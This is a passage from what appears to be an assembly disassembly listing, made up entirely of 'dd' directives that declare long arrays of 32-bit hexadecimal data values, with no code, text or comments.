0D6A6E90Bh dd 2FD601A2h, 0AEFED064h, 16223229h, 0CCD0455Dh, 0ACACF4DDh dd 7D53CA13h, 0A988EB7Bh, 901460C6h, 5FBB49B2h, 0A644B9F2h dd 26350C40h, 32A7CD72h, 0F189C493h, 0E155F8BCh, 0FFC70E19h dd 114FACCEh, 64809183h, 332FE31h, 2921B328h, 4D252609h dd 0F4597E02h, 5B6AB26Ch, 0F74DDE0Fh, 60CE6D29h, 0E05BBFBCh dd 9E47B6F8h, 0DEEA7504h, 0C339375h, 0D01847F5h, 0B1F604F6h dd 690F9D88h, 76A606Bh, 4C14A814h, 39894B32h, 46B8CEA6h dd 553B60Ch, 5F77BC37h, 0A9649209h, 0C0A3FA9Ch, 8370CA58h dd 446D6681h, 0D86306ACh, 7723444Dh, 0D3A54D85h, 30BAD3EAh dd 75015CA4h, 9483F9CEh, 0A0FEEC9Bh, 921C2A84h, 0C9CDAEADh dd 16FC381h, 9E09A84Fh, 703D186Bh, 0AB895B98h, 86CECBEFh dd 0A3313B98h, 7F610380h, 0AB862E5Eh, 3F9DC673h, 4A1A684Eh dd 6AFBA5CDh, 0A42F87DEh, 9BB9BFFh, 0CB3D22F0h, 0FE7BC57Fh dd 0A36BFF78h, 3E9A0A6h, 7AA9324Dh, 0AA1CC340h, 0E679FBEBh dd 0AD5742BBh, 39497693h, 9AD41C80h, 0F80B7DCEh, 0B272A018h dd 782A4262h, 0EB1FAD42h, 54FF7673h, 38D5D6E0h, 7223C9FDh dd 2FBC0F18h, 22025D3Bh, 0BE7B1F8Dh, 0E1A50276h, 0F263CD62h dd 0C3882352h, 1FFD6947h, 0C8871A20h, 21653CB7h, 4D2D1E9Fh dd 8B2EDDAh, 0AB52669Fh, 97A4255Bh, 82A3A743h, 513B8D2Bh dd 4FB89EBBh, 1642F65Ch dd 12452B28h, 6DF4EA89h, 4D585998h, 330F08E5h, 662CBD16h dd 1182F481h, 14561B8Ch, 64F331AAh, 0A6B39D59h, 8CD98D71h dd 32B35F8Ch, 40BE1268h, 7E2795BDh, 0CACFDEA1h, 0E3A0DF20h dd 0E2472876h, 0F34988Ah, 7DC780C2h, 66D28905h, 917A8A1Ch dd 6FB07219h, 7CFAAF49h, 0D392A15Bh, 0EB30378h, 0A435D337h dd 0EFAF55Ah, 2B15528Eh, 2E91F3Eh, 69CA166Ch, 0A9F617D1h dd 0C3A47FF6h, 96528304h, 0DC1BC87Dh, 8A85295Ah, 0BC8CDC9Fh dd 3908523Dh, 0E8F42BA0h, 5D6C1C06h, 754FB8C6h, 933DF08Bh dd 0ED312F6Ah, 238A142Bh, 0DCA466A0h, 0C66AFC50h, 0DBF7A755h dd 76B88560h, 2197C3h, 6B965D65h, 13147D2Ah, 0AF779EC8h dd 0B8E787CAh, 0DEDC3748h, 4F8F6077h, 264984A0h, 3964122Fh dd 0B9CD32E8h, 0F36FB001h, 6C7806C7h, 77893185h, 3C69D703h dd 0B2F367D9h, 41C7F08h, 0E707486Ah, 0A4B98948h, 0CB300CA5h dd 6F36135Ch, 8FBB4A2Bh, 888D6936h, 0F3258Bh, 0BAEC47DFh dd 7B203358h, 68A69869h, 0F658BAB3h, 5A2AC9CFh, 33A71488h dd 2179FFACh, 8C0928D2h, 84456092h, 0C12EC234h, 0D76A3A3Ah dd 5C3FD235h, 7BDE6766h, 39B46AE4h, 0FB7CEFEEh, 0E70697C8h dd 428DA00Fh, 84436A9Dh, 0A8B0E737h, 0F3D88BB9h, 733CB357h dd 0F5C9CA72h, 0C8315CB2h, 357D0741h, 6E8CC88Dh, 0B4FDD3Ah dd 0EFBC41B5h, 0FCFFA17Eh, 64B298BDh, 5D9E556Eh, 7CAF4A18h dd 0DB0FD6EFh, 0AAC49829h, 0C8F547C7h, 0B807FCF2h, 0B42028ABh dd 0E72A0FE0h, 4363A095h, 16660570h, 723B828Eh, 7607A57Dh dd 36057302h, 572230A7h, 0A0571940h, 691EC75h, 8A30D44Ah dd 271D8E1Eh, 0D9C88D63h, 0D8ACEB60h, 0A02F7EF6h, 934C3D55h dd 0EC404F91h, 7B3D77F0h, 54B575F4h, 7DA91E43h, 1AA05207h dd 0DFFE0E72h, 58D55073h, 0DACEA4DFh, 0E7C91B68h, 0BF3297DAh dd 0FD987EC0h, 42A0B79Ah, 0B1966389h, 33478E80h, 0BF8D8CEDh dd 8239A1ACh, 8D4A0C07h, 86394913h, 0F94099A7h, 839BA5CBh dd 7E6B9B1Bh, 5D626EE9h, 0FE6FB111h, 0AC24C761h, 5DD1F519h dd 2973EBEDh, 861C492h, 88EC2FD4h, 893860Ch, 2D137493h dd 7D3310A4h, 0CFC3EA88h, 0FF400078h, 524A7846h, 96AC7966h dd 0A1E78123h, 6B2CAE64h, 0B24BD60Ch, 8F9CF775h, 0D6F8C01Eh dd 62F7F78Ah, 226633EEh, 2CF27A1Ah, 77F095A9h, 0A38D93E2h dd 0D8687C20h, 0C2AEF313h, 1753ED73h, 769A8907h, 19B67E33h dd 1DE57BBAh, 60024637h, 5F84A254h, 7CE42B23h, 8D4A329Fh dd 5926B8B6h, 0CA2BD8D7h, 0D8913A1Dh, 21649414h, 7D9E8187h dd 0D666C116h, 0C78DA092h, 326ADFEFh, 30D63140h, 3307297Fh dd 0F58F1997h, 0D9304FB0h, 0E51FE0E3h, 7104AFA7h, 0D6DF1C33h dd 0E26BD4E1h, 0DD5A7224h, 0A6219EDFh, 0BFF4A4E5h, 32D0DEFAh dd 16C64E9Ah, 4BC3571Fh, 62737F41h, 0EA50B0FCh, 26D1789h dd 0D956C506h, 0D63B2880h, 564ED676h, 9FB179EDh, 0A1D0A259h dd 126BC471h, 2A2902DFh, 0B4FE273Ah, 0EBB8A4E3h, 0C5FBA8CBh dd 0D8A8C2E6h, 37D576FCh, 39EFD395h, 8C62F281h, 7D45320h dd 0D6ACCA87h, 2D2DB95Fh, 0C067CD45h, 0B1A1F22h, 0CF1353BDh dd 0AC0DE497h, 37B50AB0h, 7BCE5339h, 4ABF979Bh, 7A7065FFh dd 0ADE8EA62h, 6B41A5DEh, 60660CF4h, 923A67BBh, 0F391F5C5h dd 9F737377h, 0E2E40413h, 0B57F76BBh, 5CD90660h, 0AA314E7Fh dd 1818CD11h, 0CF20669Ah, 0F1BE8757h, 7C45539Ch, 3AA30E44h dd 9580AA99h, 65722D85h, 0F1244529h, 0D2988340h, 0E0448CEDh dd 60DB12F7h, 64D9E8F4h, 906AD9AFh, 0A3D82363h, 0FBB0D599h dd 7BDEC09Ah, 5163FE6Eh, 1CEF4BB3h, 0FE6A7759h, 0A7F26592h dd 0F6E47C9Fh, 72DFB6A3h, 9B8D3D99h, 1FD2FB35h, 0ECE34BEEh dd 7CFCFA42h, 9749F6E0h, 8A8830AAh, 76DB77C4h, 7E28BE11h dd 0FF2DC13Fh, 84E4CF42h, 8608EE92h, 918696EFh, 0A855F0ADh dd 0C7C284EBh, 6064F932h, 0AD7605C1h, 0E5ABFCB1h, 9CF2AC67h dd 172CFA56h, 0EE0C9DCFh, 428B3075h, 0DFE82692h, 23EA9B3Fh dd 0B7FB3346h, 0ED153FFCh, 4366DA9Bh, 27D737C3h, 49E5058Eh dd 0FBBE6C9Dh, 4A02506Ah, 97106309h, 0F1BC1832h, 844CFFA5h dd 3334FCD7h, 71C03DE4h, 0B3D677Bh, 0C37B45C5h, 24314379h dd 90D47578h, 490C1F90h, 37584BA7h, 80579D9Ch, 60D451D5h dd 75633B1Eh, 0ABDD58F0h, 0A6DA698h, 0B9FA770Eh, 1744FC82h dd 35D50E49h, 4FFA6D85h, 992B50BCh, 5571E9D1h, 0FD07D727h dd 59D0518Ah, 0AD4059C3h, 797ABF15h, 7C10B881h, 158E28E7h dd 0BE6C110Ch, 10EFEBB4h, 524D4251h, 9B409494h, 2F0FDC1Ch dd 0AED8AE05h, 0FE639815h, 0C9336712h, 9DA180F2h, 0CC92B4B7h dd 7BCD6BC3h, 89F2E9C9h, 0A8BA318Bh, 0A5E4B317h, 774777B8h dd 0BE673A6Ah, 0E8E64BDFh, 0D1B15415h, 2CA95757h, 8874CB61h dd 0FDC7009Ah, 0DC9EC2B9h, 24B9AD4Eh, 0BC0A0011h, 0D9861827h dd 9824F8C5h, 49B3B3CFh, 67EAD212h, 0CFE28D33h, 95453AFFh dd 78F8F232h, 5B30AA2Ah, 8A729C92h, 736CACFDh, 4CC9605h dd 0EC659D4Ah, 0EFF104DCh, 8D4BB529h, 24C4EE61h, 7153EF21h dd 1C3C12A9h, 389713C4h, 17A10B1h, 450C1A7Dh, 92A53C4Bh dd 8B66517Ah, 10AED9A3h, 0BE271F97h, 7913C09Dh, 69C08C3Ah dd 3417607Bh, 91C3AB86h, 2F7819D4h, 10084FFh, 5D750FC9h dd 0CF6CC70Eh, 6B16D25Bh, 8675F0A0h, 0DE8E438Eh, 91E45392h dd 2B7F1A56h, 46CD34A2h, 0FD89148Ah, 0FCF39A76h, 0B1E511F0h dd 284BA0B0h, 968658EDh, 0F0BF6ECAh, 0DBC42DC6h, 99F2D07Ch dd 5CE3F6CDh, 0B7B07B73h, 1F57490Ch, 0D03CCF2Ch, 7EF35C4h dd 14E73D4Bh, 0C8961CC9h, 0E8F53754h, 3A8CD8E4h, 7FC4E606h dd 6F6485Bh, 0D134BB7Fh, 3ACA6586h, 0CEFDEC78h, 0A0FF947Bh dd 17B29592h, 603FDB5Dh, 8C90ACC3h, 0B5D4D74Ch, 794C8857h dd 0E3D924D9h, 0ACC2AD3Bh, 0F67DC20Ah, 0DFCEE450h, 0D25AFF4h dd 68E2B5EBh, 0D351ED8Bh, 628B9F89h, 0EC70B681h, 0B9F04A9Dh dd 27B2A5E2h, 0A8C0EDDCh, 84602B25h, 146FDF50h, 46A531E5h dd 86747F7Bh, 33164562h, 0A13696D3h, 4EEF0372h, 83220F16h dd 0D4935688h, 55AF8B77h, 0CA36D117h, 99AD386h, 9F4C5503h dd 76F42BBCh, 5A15D3D0h, 85B231C6h, 0DFA72044h, 0EB9C4192h dd 0C1B01028h, 812FC152h, 0BAA32CDAh, 6F090C5Ch, 5EA75665h dd 8E3D846Eh, 648EBF27h, 96221082h, 9A198804h, 35E16B0Bh dd 1AFCE257h, 4FFFE5DDh, 8719BEE7h, 27E59757h, 0DC4BF1B4h dd 0C2DA31ECh, 0AC49BDA8h, 0D85BAE4Bh, 7C1CAA7Ch, 4A4C4838h dd 2D013E91h, 52C81BD2h, 22CBC06Eh, 0CEC4FE08h, 7A330902h dd 0EAF5810Ch, 8C22568Fh, 0A2BC6FE9h, 6D5593D6h, 5E6E1D49h dd 994A0A0Eh, 0DDF96C3Bh, 0BFC8A427h, 0F4A28E0Fh, 84A7B586h dd 0F5FDD57h, 5DBFDD02h, 5F1990B0h, 0E592CCBAh, 7FE52DEFh dd 0D0E1DE4Ah, 0EB41D197h, 356B8DC7h, 0A9DC7A66h, 7604725Fh dd 2495DF9Fh, 0A04B9AD7h, 19732EC3h, 0DA65C3CFh, 0C2514CE1h dd 37029AF9h, 3D85BEB1h, 0E5D0389Fh, 2C3848ABh, 0C92C845Bh dd 0CC3315D9h, 6B07BD2Eh, 4EC2AC29h, 35B73915h, 0FF54D3BDh dd 37DF77B4h, 2FBEBCEh, 0E4B9368Bh, 0F70213E5h, 0B7EA3945h dd 0B42181E1h, 5BB46541h, 505D7429h, 33840655h, 5D78A5FDh dd 7E614F96h, 6EE8677Eh, 0FAC2317h, 0AD0480B1h, 23323A7Ah dd 99414526h, 93B9BDA1h dd 0A171CC06h, 0BB90C006h, 0BA05A24Ch, 0D0EF7B11h, 83F4126Bh dd 0F1D91190h, 0AC05754Dh, 0B1878935h, 87E357AAh, 0F1791EC4h dd 1C68E102h, 1E90FCD8h, 0C17C8FC4h, 0EF830173h, 23AED9BDh dd 33A1E96Bh, 0D33D8CD5h, 0C1045DF0h, 80EA3670h, 0DDEE0C20h dd 0FCD2CB18h, 27A5A9B6h, 0A4E0EC12h, 0CA761ED6h, 67835E91h dd 352E6185h, 296C6519h, 36D4D2B7h, 0F1E7EAA0h, 8C72DE23h dd 0DAB4C685h, 0CCBFF327h, 0A3F9A63h, 70E88091h, 53C91BCEh dd 3703AE35h, 22F23D65h, 0CE0772ADh, 5606D0C2h, 68A625AAh dd 683A881h, 2B4C1249h, 41EAC9F2h, 824B4365h, 0C8413861h dd 3632B60Bh, 0EC809D68h, 1A261546h, 0C3828BD2h, 0AD505995h dd 93004694h, 0DB4B9660h, 0BC2BFD72h, 0FE2C5D16h, 0D8C3316h dd 9C1B3D87h, 0D353EEFEh, 7EDBF611h, 3E4B71CEh, 586EBB33h dd 3543357Fh, 546B353Dh, 97C00996h, 91C0F305h, 857E4473h dd 9CDCBFD0h, 0B10AFFACh, 1D7845D7h, 0A24C87B8h, 91EDD0C4h dd 3FDC4EBCh, 0FA2D420Dh, 0C395D903h, 0B0B9F02Eh, 0F60F92D1h dd 43B1EAC9h, 0C7974B7h, 5CFE3D14h, 4E4680AAh, 870FE8CEh dd 0D54FAE6Eh, 8CCE2694h, 0FDEB24ADh, 0B02D9952h, 3FBD7244h dd 63F5ADFBh, 0FAC3CBAFh, 76AF24Fh, 0F3524FF5h, 0BBF70936h dd 663A15C7h, 9009A9D3h, 0F2EEABA5h, 283866A8h, 0D18FCA62h dd 484E13A6h, 5ED9E165h, 9A839DD8h, 1DB4316Ch, 99AAB2BCh dd 2AC97C3Ch, 0C60268F4h, 0AEE8E9A0h, 1A739275h, 161BB103h dd 0CA3382D2h, 63E22786h, 76FFC70h, 75E0A8EFh, 0F690574Ch dd 0C5058030h, 60D4D96Bh, 0F2483D72h, 8D068A07h, 283EB67h dd 0C371BF69h, 0B09FF927h, 52F03B09h, 0D5B48041h, 95579794h dd 39F4DAE8h, 69C8A9EEh, 0B51873B4h, 88F220DDh, 0BA99C3FEh dd 3684840Dh, 8D27170Ah, 0B344855Fh, 3E81135h, 0F23170E4h dd 7879C872h, 0D90611BBh, 1A5B01EAh, 620D9DF7h, 45A7E5BDh dd 16500770h, 0F3BAAF21h, 6ECB6752h, 53A7DD76h, 0A7398F03h dd 1C9F48C7h, 11CCCFC1h, 0ECAAF787h, 0B06A995Eh, 0A38B7929h dd 5A9983CEh, 9FDDD31Bh, 63EBBF17h, 82E1CF07h, 0CB5621E8h dd 0F715012Fh, 1BEDAF7Dh, 0A4305973h, 0F9D910A8h, 0A5361B47h dd 7A60B6EFh, 146D90CAh, 8B3DC5BAh, 0CB90589Ch, 28513296h dd 4590601Fh, 1999A183h, 0B241E125h, 44B530B3h, 0BF4D48EFh dd 0B4E5CE2Ch, 5993F991h, 0D92AB6FAh, 5A46CCAEh, 68CFA641h dd 8135D17Bh, 778215F9h, 0F4C44E8Eh, 4EF8F201h, 0A8E09A2Fh dd 0A91723Dh, 0DA3DF4E6h, 0E5959BA8h, 0F8567413h, 22B0F0B0h dd 0BF711E01h, 0A77C0168h, 0A124BCCFh, 0C1E9B840h, 4EA0BB8Ah dd 6F3E66B5h, 0DE6A6B9Eh, 8340EB1h, 0EAC091CEh, 9BA5F6E9h dd 114D8EB0h, 7E61E2EBh, 9FB2071Fh, 23D897EEh, 8CE37A49h dd 7D151F6Ah, 0F925688h, 4E38C3D7h, 54577263h, 0D2E8368Eh dd 778F59BBh, 57817C5Dh, 6E566577h, 11BDAC66h, 72625859h dd 3C55FB98h, 0E22B9153h, 0E43C2BC9h, 80DA6FB7h, 44B3282Bh dd 31BC665h, 6A8DC0F0h, 0B6C12942h, 53139E3Ah, 0B584C9CDh dd 0E7FF30D4h, 0EE24D987h, 0C2B2FDEDh, 356C5757h, 0CE4B00A4h dd 311A359Dh, 0DB6E23F2h, 0A032A801h, 0FEDEB23Dh, 86599297h dd 95B7D988h, 4C7D1F18h, 36F255E1h, 2303ED67h, 2CE17495h dd 21318ABEh, 2A2A2C7h, 20D51619h, 67C024D3h, 0B51FAEF5h dd 1C4DCB36h, 0E64A9100h, 0E3EC3AC9h, 3015975Dh, 368A67A6h dd 8BA70A29h, 19552F2Dh, 37EAA0CAh, 1CDA26A0h, 0D9DD3B4Eh dd 0DC8234F0h, 272CA85Ch, 24AAA74Ah, 5AF9309Fh, 29223463h dd 0E22E74DAh, 8B3CBDA0h, 0F1EE399Dh, 649608E4h, 0C6797A68h dd 0B8CAC4D5h, 0BFBA8C11h, 0A7C513EBh, 829A034Dh, 0F57E4EA1h dd 5B1D23E4h, 8411B956h, 924114EFh, 8789EBACh, 51F29F0Eh dd 66DBAD02h, 7E81C4E6h, 0E291096Ch, 166E053Dh, 61406F76h dd 0C0F3CD88h, 5A07976Ah, 0AFFF02CDh, 58F39680h, 3FA61F3Dh dd 41B85C3Eh, 6CABB1C0h, 22BDBA33h, 0B47F6EBh, 0C4A48CA1h dd 220F8870h, 67818C77h, 7073AF47h, 16335FB1h, 2718909h dd 0D20E28C8h, 5533382Bh, 0F5D66264h, 2AD653DFh, 0A4323827h dd 0D27C6881h, 9669A1BEh, 0D9D6393Ch, 59D0CDA7h, 390F5FBEh dd 4050EF54h, 5E3C1D32h, 90D36Bh, 32956E6Eh, 40F99989h dd 2C5D2A9Dh, 0A3BB12FBh, 0C98DFF09h, 67A09D23h, 9B001A2Fh dd 20E5AC56h, 0A12851E1h, 0F65F264Fh, 0D17A39C9h, 0BEB9231Bh dd 8858420Eh, 895ABF7Ch, 7BBDB245h, 27B93ABCh, 85F928Ah dd 1996BB3Eh, 0B4D73E2Ch, 3F547112h, 84BF29DBh, 0E4036039h dd 0F910E417h, 3F61C641h, 5589B223h, 22259B37h, 9ACAA2CDh dd 0A9AF29B2h, 9CF3E765h, 94C86C6Fh, 3490FAFDh, 0B4516DECh dd 57218C5Bh, 21581702h, 0F6163B0Eh, 6A1B454h, 69023B48h dd 41614BDEh, 2973FDFh, 3659E842h, 3D1ABDCh, 6767F595h dd 97B3CCE9h, 0A7F5E8AAh, 0F5E4184h, 22CDE34Bh, 0D626A20Ah dd 18EB7057h, 0C9C64438h, 8567A90h, 0E1D42B3Fh, 8A939FCEh dd 5A23E2Eh, 0A6EF0C06h, 1CA46CD8h, 0FE58A28Eh, 9AA6EE9Fh dd 6E8CFCA3h, 8E35253Bh, 73A8FD94h, 0ECDA5EB8h, 7E721BCBh dd 790DBB71h, 5AE715CFh, 0CEDD8475h, 0F15C0E2Fh, 0B24D33ADh dd 0DCB5B056h, 39641A4h, 0B1023141h, 9C894E17h, 8F86B49Eh dd 37CA86D4h, 0A399D8C8h, 0D0ACECE7h, 155FDDAEh, 76E93ECAh dd 166E700Bh, 6E85D3CFh, 42BD7D94h, 4E1F105h, 0D410C10Ch dd 0F31CD7Ch, 4BFBE542h, 0B132FB2Ch, 0B9C44580h, 227EBDBBh dd 156C1822h, 78CBDC5Dh, 67757423h, 0CED33A98h, 0BF75E9D3h dd 0D2890E8Dh, 9EE3E907h, 0BBDC86A0h, 0F5332C14h, 0B3E70D2Bh dd 0B6FB6EE8h, 264D4337h, 0D775DDC8h, 0EF3E5E6Ah, 27921A6Eh dd 0FFD8D8CAh, 68F60E71h, 3AA39BA9h, 7E19EC0Bh, 5E9A9A74h dd 4DE14F1Fh, 0BCB8AD5Fh, 0F29A7069h, 9C63D9A9h, 0FEAB0EC7h dd 0F67A1AABh, 0DD27CAC4h, 0DDA12441h, 0A3A8B53Bh, 5A0D0596h dd 6DFA50Eh, 684CAD0Dh, 44627084h, 0E28A208Fh, 32BB4F18h dd 0EA095CCDh, 0F9DB8A6Eh, 6FD47F9Fh, 726994ECh, 6939F094h dd 58ABB1A6h, 1F6D62Ah, 8DEE05E7h, 0C7A5EA8Eh, 4CDD49Fh dd 0D3D372C5h, 0E530C350h, 7DB693B6h, 0D05CE931h, 238CC492h dd 0CC2F9D47h, 0A5936DC1h, 0FB8E2F06h, 479A715Eh, 0C4CF6914h dd 8D875088h, 0FA52E439h, 4A517BA2h, 0D07519A8h, 2AD78551h dd 64DE79Dh, 420EA7ABh, 533175B1h, 430B5997h, 7B6E8D40h dd 0FD6B654Dh, 0ABD46F9Dh, 0B6D7641Dh, 75E0920Bh, 4E2DF04Fh dd 0E693857Dh, 75C07988h, 7A159927h, 0CF205F20h, 3E441C11h dd 0D41D8609h, 1790DC11h, 4A3EBA48h, 0CF8822B5h, 95C34D12h dd 0E716DAE0h, 0C7726B67h, 0BFE76268h, 9F42E244h, 0B737A776h dd 890E16A9h, 0A922BEAFh, 0E925233Eh, 233388F7h, 16A9F783h dd 0DC99B8E5h, 0E8C0CC01h, 0CA8E1B75h, 485CC34Eh, 0BADE088Eh dd 0E014F52Ah, 14FAE540h, 0FC31EFB9h, 0C12C4DB9h, 4BDA73A4h dd 534F515Ch, 0FAB50D6Ah, 0B364DD8Fh, 0A37AA33Eh, 15A942B6h dd 0DC8BABE8h, 2B528795h, 1F8C793Ah, 9F647F05h, 0FA07541Eh dd 85FE652Dh, 7E1C57B4h, 41B37D83h, 0DF9BBB68h, 1A1EB32Eh dd 0AC32447Bh, 9D42411Ah, 0C39FD5F9h, 267B0013h, 0F2A72007h dd 35B30D65h, 1E23E782h, 11FA575Fh, 0C2F9F0F4h, 9968A466h dd 88D36355h, 0DEEFEB57h dd 836C374h, 5C5C0D42h, 19EF7FC7h, 6AC8C6A5h, 0E9F7FE53h dd 0ECF62F38h, 64D4988Ah, 0B85FA87h, 9F119D15h, 7C96D834h dd 5742CFD7h, 0DFF55C5h, 0EA13BA06h, 7B8EF66Eh, 0C3F3AA3Ah dd 9C4AD477h, 8D15C04Dh, 0E0FBC07h, 0A176FF63h, 84508F8Eh dd 1F72A942h, 6FC912A3h, 0A2F3F62Ch, 15FD3941h, 0BC49BA44h dd 0DC0B6118h, 5B435945h, 18E2F350h, 19DD2907h, 90FF839Fh dd 0DE9F56FEh, 42B8E5F1h, 6C8B6136h, 0E71FBE25h, 6523DFBBh dd 5238476Dh, 0C6086DC7h, 0F2F9E0D4h, 6E9BE4EEh, 7B659BC2h dd 0AEA8B8ADh, 0A2B7AAEBh, 4FD4B657h, 694E1547h, 57936DD0h dd 7780C972h, 690166CCh, 0DE99C12Eh, 0AAED0081h, 68420E4Fh dd 0CB5D97AEh, 0B6412F34h, 1779EF5h, 0A7074A85h, 542BD756h dd 0C7A3AC47h, 0F2F529F1h, 0D4BB3179h, 0FDA0428Eh, 0E75EF491h dd 94503EBCh, 6F90A8DCh, 39A06385h, 90F191B1h, 9CB5DB3Ah dd 0BA6EE91Fh, 0B101A382h, 0DC9CB6B2h, 0C226B49h, 318DA7ACh dd 0E051A6A6h, 9AD50E5Dh, 6E3A42BBh, 3F0F2CE2h, 0DAD3603Dh dd 0D118CD62h, 0BD0328C3h, 423F08A7h, 0C641E028h, 50411F99h dd 0DF6AF8B8h, 13796CBCh, 56D7AE7Ah, 0C9A8E8EFh, 93EB157h dd 0DCC7CA6Fh, 9B39CE15h, 24177814h, 61A57083h, 42C22EA4h dd 0A84D9FF2h, 4D6E5F04h, 0B677D5C7h, 0ECDD5A93h, 0C34C196Dh dd 70DF3BCEh, 0A817F2E4h, 0A737D154h, 804F311Eh, 270B62ABh dd 4766F0C3h, 199E5E02h, 0D4CE5DA5h, 4453AEB3h, 0EF100558h dd 0E38DCD45h, 9847F17h, 468C9854h, 4A68E4D4h, 0D10AE2B0h dd 8F4A9392h, 0C9F8C20Eh, 6E72B50h, 888B57C2h, 0B23254FBh dd 8B2EF7F8h, 0EE643A96h, 9420818Bh, 3F366D8h, 39078FCEh dd 0AC80785h, 0C2F1CD57h, 0BDDF0BBDh, 28FA1481h, 23D5242Fh dd 7FB77B8Fh, 0F254608Eh, 0ED4A0DB3h, 0D05BAAE0h, 0EA8A17E4h dd 0C2C6F65Dh, 0C8BDE58Ch, 8D6E1ABFh, 0B7CD7F7Ch, 0E71E17E2h dd 0BD1A8EF7h, 0F6A5D954h, 0C016F90Fh, 215784E7h, 0E230B1FBh dd 0FDCA1706h, 14F99BA2h, 0F30620ABh, 3925C5C5h, 824F8459h dd 0A931384Bh, 8F941709h, 829F0F50h, 6DF4A264h, 0F4257298h dd 0C02981B3h, 0E936F8B4h, 71FC64A3h, 55BB0135h, 51FF53Bh dd 197E90DCh, 579056C8h, 9492BDCDh, 4EB7FF41h, 0C874CF0Ch dd 7EE309F7h, 5E2643F4h, 0FB750C86h, 8FEB8EF4h, 4E6E6DD0h dd 435E6A06h, 0E58CB11Eh, 6F550380h, 82D4A14Ch, 0EBD2DB7Dh dd 0A98EB6CAh, 5B96D811h, 68E284AEh, 0AD67B583h, 3F30E4F2h dd 3F34A75Bh, 1BDF0885h, 0DAEE0FA0h, 5E340113h, 0EF60A51h dd 61173274h, 484EA760h, 79F24C67h, 232B0585h, 49C8A2B3h dd 3B660AC8h, 4163D209h, 74F71032h, 3D561F40h, 75BB3E18h dd 2027BD1Eh, 0B02A48E0h, 4AF71EEDh, 0B4D37FE5h, 9003F4ADh dd 4707AA8h, 35FFA382h, 0FD2DC4EEh, 0BEF03E35h, 25AC6331h dd 8746644Eh, 77C3E6BFh, 0F71BFDA4h, 0FFBD6578h, 90845613h dd 0A600AC48h, 0B369512Ah, 78B10FB0h, 88D8B790h, 6B40D7C3h dd 9EA1F472h, 483BA728h, 5744E4EBh, 5BF712ACh, 1348B095h dd 982FF0EAh, 8E7C7BB3h, 45DC5095h, 83D6D084h, 81C3F825h dd 0B41A6D29h, 3314AAD8h, 0F493DA11h, 32B96C09h, 0FA784C22h dd 0BBE5EFFAh, 5C60DC07h, 316D9004h, 88F8AE2Ah, 0BDCB09D9h dd 5AFCB70Fh, 9E08C9A6h, 0F19952E9h, 6A3E9C31h, 0FE7B587h dd 0D933A60Bh, 0C67EBF04h, 57962ED4h, 8AEDC4C1h, 7BECBF33h dd 8AFB700Eh, 9AF3BD31h, 9B8A95E2h, 7ECBF41Eh, 9F45ED26h dd 0C1DD9A83h, 71300E05h, 0EFBC4D75h, 152DDDC0h, 0CEC2761Ch dd 7BDDAA55h, 35C879C7h, 0DE1D96D7h, 9AD1307Dh, 0B47A0E61h dd 0BB1BEAB6h, 0AFA791F1h, 71FAA59Bh, 2ADDFB57h, 4AD2F5A9h dd 5C8598C8h, 0ED60F9F5h, 0A3B011D4h, 30B3AE87h, 3CB20A38h dd 6065444Fh, 5CA0C614h, 6AA64A52h, 0C99FD9ECh, 50CF8A0Eh dd 4252AFC3h, 6AA34511h, 6307B4EFh, 6E476C7Ah, 983064D3h dd 74F7170Ah, 0F06D190h, 7C9AADBDh, 5248B6E5h, 0DD6E7FC8h dd 3FF43696h, 0FC5251BDh, 400B7702h, 47B874E9h, 26DE22EBh dd 0E4EAAB3Dh, 0F439FA7Dh, 9DCAA96Fh, 573A89A0h, 0F262ABE1h dd 114C9F1Eh, 3CF2B281h, 3685FD07h, 0D2194728h, 0DE8F189h dd 4F9D6184h, 0BEA50936h, 0AAABF62Bh, 251FFDF2h, 415F8579h dd 7A46BE01h, 25BB6307h, 80DDF25Bh, 299ABE6Bh, 2B16E2D5h dd 4752C82Fh, 0FF58A93Bh, 6CED151Ah, 0FA55DE0Ch, 6F390650h dd 0A84F5BAFh, 15C313AFh, 0B47CF4A9h, 0F0DBAC17h, 56BB1A8Dh dd 0A4CB1695h, 981D9047h, 5466878Eh, 8B0529E4h, 0CD2264BFh dd 5EBB2AF6h, 614E4C65h, 79807EEFh, 0B3AFD74Ch, 177743B9h dd 0A14DBE61h, 0E6A54D8Fh, 0C53411E1h, 75B3A83Ch, 523A25F4h dd 0C99C96C4h, 9D70DA7Eh, 819E0A5Ah, 26ED1A0Fh, 0CEFE85A5h dd 2E04FCDAh, 0FAFDC0DEh, 64635965h, 28134F2Dh, 0E0582C02h dd 1B0ABFCFh, 393FC71Dh, 0B6ABDDC0h, 13D6E58Ah, 12B15892h dd 16ED6257h, 0A3491234h, 322BB815h, 7E5D1A77h, 2BD23916h dd 8B387293h, 0AEAC30D2h, 0AF395E53h, 8400463Dh, 0B966822Eh dd 0D52DEDB2h, 12473488h, 8FE3D336h, 0C7E2EF40h, 8A29F787h dd 2F2BD8AFh, 730F09B9h, 0FDDC2C3Bh, 0F4109F09h, 0DF6AAB82h dd 0D43987F2h, 1155C92Bh, 5374A12Bh, 9399DB33h, 0E9F7A59Eh dd 0B40C715Dh, 0D775E413h, 8E81E1C8h, 38164FFEh, 4DF88F3Bh dd 502179EAh, 0BD2F3307h, 0B1E36E45h, 19613037h, 0B3DFF3EAh dd 0A4568028h, 0BD81F038h, 50CDEB68h, 8CD7719Ah, 0B011BB4Ch dd 0C925CCAAh, 40F6341Eh, 0B0A5BC56h, 0CEAFAD43h, 9DECA1F2h dd 5727F723h, 9E151C38h, 3716D420h, 2885CE63h, 744C2C20h dd 0BA8B9021h, 1FBF3511h, 0FD26B65Bh, 0C7231A9Dh, 447761F6h dd 0EF42F9F0h, 12DA4C1Eh, 0CCBA4757h, 90FE4795h, 0AD503FE3h dd 0D9F1720Ch, 83061F24h, 243C439Dh, 4DA99D70h, 3BC3A27Ah dd 0B81E0DA1h, 1993E1AEh, 58687DCh, 23F31299h, 0D5E1903Ch dd 0A535849Fh, 32B397Fh, 141AEE2Fh, 0CD28E481h, 0BD8C9603h dd 0ACED96ACh, 0AA450B7Dh, 141CA0E2h, 283975BEh, 46C6B9BEh dd 9FF19B53h, 776BD7FDh, 0C8368433h, 247828A6h, 0C3D40FF4h dd 312F4C66h, 0C535A6B6h, 6F38A9F8h, 3FEE3F8Ah, 5EF497AAh dd 83DB7AEFh, 90764997h, 0F89FF89Fh, 52A54FD7h, 45E226BDh dd 9BCE8782h, 5C4761A5h, 0A1F5C535h, 925DD6E2h, 0D1BAAF40h dd 1EC5977h, 5E50B335h, 16568BB4h, 4B20F1FEh, 9093B086h dd 0B0C738A5h, 32BB85FCh, 8F29ADEh, 0FD726A5h, 